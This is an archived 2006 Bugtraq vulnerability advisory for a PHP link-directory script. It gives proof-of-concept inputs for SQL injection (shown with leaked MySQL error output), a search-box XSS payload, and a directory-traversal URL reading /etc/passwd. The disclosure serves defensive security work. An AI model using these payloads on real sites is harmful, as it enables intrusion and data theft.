| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: 25 May 2006 05:00:27 -0000 From: luny@...fucktard.com To: bugtraq@...urityfocus.com Subject: Super Link Exchange Script v1.0 Super Link Exchange Script v1.0 Homepage: http://www.ebizunion.com/guidetosuper.php Description: Main Features: 1. Add unlimited nested category/sub-category, 2. Can check reciprocal link back, 3. Can hide and delete no link back sites. 4. Template can be edited and suitable to fit your current webpage design. 5. Free to join in ebizunion.com and download free. 6. Upgrade to super member can find link partners from ebizunion.com and transfer link information to user's link directory real time. 7. Powerful Business Directory for you find best link partners. Display your Thumbnail or Business Logo Effected files: search input form directory.php make_thumbnail.php SQL Injections: http://www.example.com/directory.php?cat=187' Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/feitian/public_html/ username/directory.php on line 86 Global Business Union : Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/feitian/public_html/ username/directory.php on line 100 Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/feitian/public_html/ username/directory.php on line 103 ------------------------------------------------- XSS Vulnerabilities: Data submitted by uses from the searchbox is not correctlly filtered. An example of a XSS attack would be to have a user put the following code into the searchbox:<IMG SRC=javascrip ;t:alert('XSS')> -------------------------------------------------- Directory Traversal: http://www.example.com/make_thumbnail.php?imgpath=../../../../etc/passwd/ -------------------------------------------------- Luny - http://www.youfucktard.com
Powered by blists - more mailing lists